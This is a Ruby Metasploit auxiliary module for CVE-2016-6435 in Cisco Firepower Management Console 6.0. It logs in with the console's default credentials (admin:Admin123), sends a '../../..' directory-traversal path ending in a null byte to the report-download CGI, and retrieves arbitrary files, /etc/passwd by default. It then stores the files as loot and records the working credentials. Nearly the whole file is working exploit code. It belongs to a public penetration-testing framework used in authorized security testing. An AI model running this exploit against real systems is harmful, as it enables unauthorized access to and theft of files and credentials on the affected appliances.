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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal",
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      'Description'    => %q{
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        This module exploits a directory traversal vulnerability in Cisco Firepower Management
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        under the context of www user. Authentication is required to exploit this vulnerability.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Matt',   # Original discovery && PoC
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          'sinn3r', # Metasploit module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2016-6435'],
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          ['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking']
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        ],
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      'DisclosureDate' => '2016-10-10',
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      'DefaultOptions' =>
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        {
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          'RPORT' => 443,
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          'SSL'   => true,
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          'SSLVersion' => 'Auto'
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        }
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    ))
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    register_options(
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      [
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        # admin:Admin123 is the default credential for 6.0.1
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        OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
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        OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
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        OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
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        OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd'])
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      ])
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  end
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  def do_login(ip)
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    console_user = datastore['USERNAME']
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    console_pass = datastore['PASSWORD']
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    uri          = normalize_uri(target_uri.path, 'login.cgi')
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    print_status("Attempting to login in as #{console_user}:#{console_pass}")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => uri,
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      'vars_post' => {
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        'username' => console_user,
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        'password' => console_pass,
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        'target'   => ''
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      }
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    })
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    unless res
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      fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
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    end
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    res_cookie = res.get_cookies
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    if res.code == 302 && res_cookie.include?('CGISESSID')
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      cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
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      vprint_status("CGI Session ID: #{cgi_sid}")
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      print_good("Authenticated as #{console_user}:#{console_pass}")
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      report_cred(ip: ip, user: console_user, password: console_pass)
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      return cgi_sid
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    end
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    nil
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  end
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  def report_cred(opts)
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    service_data = {
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      address: opts[:ip],
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      port: rport,
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      service_name: 'cisco',
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: opts[:user],
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      private_data: opts[:password],
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      private_type: :password
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    }.merge(service_data)
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    login_data = {
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      last_attempted_at: DateTime.now,
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::SUCCESSFUL,
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      proof: opts[:proof]
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  def download_file(cgi_sid, file)
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    file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00"
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    print_status("Requesting: #{file_path}")
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    send_request_cgi({
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      'method' => 'GET',
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      'cookie' => "CGISESSID=#{cgi_sid}",
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      'uri'    => normalize_uri(target_uri.path, 'events/reports/view.cgi'),
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      'vars_get' => {
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        'download' => '1',
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        'files'    => file_path
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      }
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    })
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  end
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  def remote_file_exists?(res)
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    (
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      res.headers['Content-Disposition'] &&
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      res.headers['Content-Disposition'].match(/attachment; filename=/) &&
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      res.headers['Content-Type'] &&
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      res.headers['Content-Type'] == 'application/octet-stream'
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    )
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  end
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  def save_file(res, ip)
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    fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH'])
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    path = store_loot(
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      'cisco.https',
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      'application/octet-stream',
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      ip,
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      res.body,
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      fname
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      )
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    print_good("File saved in: #{path}")
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  end
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  def run_host(ip)
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    cgi_sid = do_login(ip)
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    unless cgi_sid
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      fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
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    end
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    res = download_file(cgi_sid, datastore['FILEPATH'])
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    if res.nil?
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      print_error("Connection timed out while downloading: #{datastore['FILEPATH']}")
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    elsif remote_file_exists?(res)
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      save_file(res, ip)
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    else
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      print_error("Remote file not found: #{datastore['FILEPATH']}")
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    end
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  end
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end
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